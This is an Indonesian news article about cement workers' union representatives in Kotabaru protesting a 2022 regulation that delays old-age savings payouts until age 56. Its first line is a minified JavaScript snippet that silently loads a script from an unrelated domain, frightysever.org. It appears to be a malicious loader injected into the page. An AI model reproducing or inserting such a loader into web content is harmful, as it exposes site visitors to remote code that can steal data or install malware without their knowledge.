(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tolak Aturan JHT Baru, Perwakilan Pekerja Datangi Disnakertrans Kotabaru

KANALKALIMANTAN.COM, KOTABARU – Perwakilan pekerja yang tergabung dalam Serikat Pekerja Industri Semen Indonesia (SP ISI) PT Indocement Tunggal Prakarsa Tarjun mendatangi kantor Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) Kabupaten Kotabaru dan BPJS Ketenagakerjaan, Kamis (17/2/2022).

Mereka menegaskan penolakan terkait Peraturan Menteri Ketenagakerjaan Nomor 2 tahun 2022 tentang tata cara dan persyaratan pembayaran manfaat jaminan hari tua.

Kepada kanalkalimantan.com, Ketua SP ISI ITP Tarjun Tri Winarno mengatakan, menolak aturan baru yang dikeluarkan oleh Menaker yang mana point pentingnya adalah pencairan dana Jaminan Hari Tua (JHT) akan dikeluarkan pada saat berusia 56 tahun.

“Menurut kami hal itu sangat merugikan kami sebagai pekerja. Oleh karenanya kami meminta dan menyampaikan aspirasi agar aturan tersebut di cabut,” ucapnya.

Dikatakannya lebih jauh, ada 2 point penting yang disampaikan di dalam surat aspirasi yang disampaikan yakni, isinya dianggap memiskinkan bahkan mengancam kehidupan pekerja dan keluarganya.

Kedua, adalah JHT adalah iuran yang dibayarkan oleh pekerja yang seharusnya bisa dinikmati pekerja pada saat Pemutusan Hubungan Kerja (PHK) dan usia pensiun tanpa harus ditunda sampai usia 56 tahun oleh pengelola (pemerintah).

“Sekali lagi kami berharap aspirasi kami ini dapat disampaikan ke tingkat yang lebih tinggi lagi sehingga akan dijadikan sebagai bahan acuan oleh pemerintah,” jelasnya.

Sementara Kepala Disnakertrans Kabupaten Kotabaru, H Sugian Noor menyatakan, pihaknya mendukung upaya penyampaian aspirasi yang dilakukan sepanjang dalam keadaan aman dan kondusif dan menurutnya hal itu merupakan hak dari para pekerja untuk menyuarakannya.

“Yang jelas kami menerima aspirasi mereka hari ini, dan melihat situasinya memang peraturan tersebut mesti di tinjau kembali,” ujarnya.

Pihaknya akan melayangkan surat kepada Kementerian Ketenagakerjaan untuk meninjau kembali dengan memberikan pertimbangan-pertimbangan melihat suasana para pekerja di lapangan.

“Kami melihat situasi di lapangan bahwa ternyata ada keresahan di pihak para pekerja dan hal itu juga harus menjadi perhatian kita bersama,” pungkasnya. (Kanalkalimantan.com/muhammad)

Reporter : muh
Editor : cell